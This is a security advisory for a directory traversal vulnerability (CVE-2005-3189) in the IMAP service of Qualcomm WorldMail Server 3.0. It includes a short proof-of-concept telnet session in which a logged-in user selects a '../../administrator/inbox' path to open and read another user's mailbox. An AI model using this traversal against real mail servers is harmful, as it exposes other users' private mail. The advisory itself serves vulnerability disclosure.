Qualcomm Worldmail Server Directory Traversal Vulnerability

Bugtraq ID:	15488
Class:	Input Validation Error
CVE:	CVE-2005-3189
Remote:	Yes
Local:	No
Published:	Nov 17 2005 12:00AM
Updated:	Jul 12 2009 05:56PM
Credit:	FistFuXXer is credited with the discovery of this vulnerability.
Vulnerable:	Qualcomm Eudora WorldMail Server 3.0
Not Vulnerable:

Qualcomm Worldmail Server Directory Traversal Vulnerability

Qualcomm Worldmail server is prone to a directory traversal vulnerability.

Successful exploitation could allow an attacker to gain access to files owned by other users of the application.

Sensitive information may be obtained and modified in this manner.

Worldmail server version 3.0 is vulnerable; other versions may also be affected.

Qualcomm Worldmail Server Directory Traversal Vulnerability

No exploit is required:

The following proof of concept example is available:

c:\> telnet 1.2.3.4 143

* OK WorldMail IMAP4 Server 6.1.19.0 ready
1 login user1 user1
1 OK LOGIN completed

2 select /inbox
* 0 EXISTS
* OK [UNSEEN 0]
2 OK [READ-WRITE] opened /inbox

2 select ./../../administrator/inbox
* 1 EXISTS
* OK [UNSEEN 1] Message 1 is first unseen
2 OK [READ-WRITE] opened ./../../administrator/inbox

2 fetch 1 (RFC822.TEXT)
* 1 FETCH (RFC822.TEXT {131}

Qualcomm Worldmail Server Directory Traversal Vulnerability

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or are aware of more recent information, please mail us at: [email protected] <mailto:[email protected]>.

Qualcomm Worldmail Server Directory Traversal Vulnerability

References:

• Qualcomm WorldMail IMAP Server Directory Traversal Vulnerability (iDEFENSE)
  
• WorldMail Server Homepage (Qualcomm)